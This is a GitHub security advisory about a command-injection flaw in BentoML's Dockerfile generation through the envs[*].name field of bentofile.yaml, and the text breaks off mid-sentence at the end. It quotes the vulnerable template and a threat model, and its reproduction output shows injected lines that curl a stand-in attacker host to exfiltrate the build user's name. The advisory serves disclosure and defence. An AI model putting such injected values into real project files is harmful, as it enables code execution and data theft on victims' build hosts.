GitHub Security Advisory: GHSA-w2pm-x38x-jp44
Package: bentoml (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 1.4.38
Patched in: 1.4.39

Summary: Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043)

Details:
# BentoML `envs[*].name` Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043

A malicious `bentofile.yaml` containing a newline-injected value in `envs[*].name` produces unquoted `RUN` directives in the BentoML-generated Dockerfile. When the victim runs `bentoml containerize` on the imported bento, those `RUN` directives execute on the host during `docker build`. Verified end-to-end on `bentoml==1.4.38`.

## Vulnerable code

`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73`:

```jinja
{% for env in __bento_envs__ %}
{% set stage = env.stage | default("all") -%}
{% if stage != "runtime" -%}
ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name }}=${{ env.name }}
{% endif -%}
{% endfor %}
```

`env.value` is bash-quoted via the `bash_quote` filter, but **`env.name` is interpolated raw** with no escaping or newline filtering. The template is rendered by `_bentoml_impl/docker.generate_dockerfile` (the v2 SDK Docker generation path used by `bentoml containerize` for modern services).

## Sibling relationship to existing CVEs

The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:

- **CVE-2026-33744 / GHSA-jfjg-vc52-wqvf** (2026-03-25): added `bash_quote` to `system_packages` interpolation in Dockerfile templates and `images.py`.
- **CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw** (2026-04-02): added `shlex.quote` to `system_packages` in the cloud deployment path (`_internal/cloud/deployment.py:1648`).

Both patches limit themselves to `system_packages`. The `envs[*].name` field is the same root-cause class (`bentofile.yaml` value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.

## Reproduction

```bash
pip install bentoml==1.4.38
python verify_render.py
```

Expected:

```
[*] rendered Dockerfile size: 1789 bytes
[*] injected RUN lines: 3
    RUN curl -fsSL http://attacker.example.com/$(whoami)=1
    RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO
    RUN curl -fsSL http://attacker.example.com/$(whoami)
```

Each injected `RUN` line is a Dockerfile command that runs during `docker build`. With `$(whoami)` shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username.

## Threat model

1. Attacker authors a malicious bento with a crafted `bentofile.yaml`.
2. Attacker exports the bento (`.bento` or `.tar.gz`) and distributes (S3, HTTP, BentoCloud share, etc.).
3. Victim imports with `bentoml import bento.tar`; no validation of `envs` content.
4. Victim runs `bentoml containerize` to build the container image.
5. BentoML renders the Dockerfile with the attacker's `envs` values, producing injected `RUN` lines.
6. `docker build` (or BuildKit) executes the injected `RUN` commands on the build host, achieving RCE in the victim's build environment.

The flow mirrors CVE-2026-33744 exactly, with `envs` substituted for `system_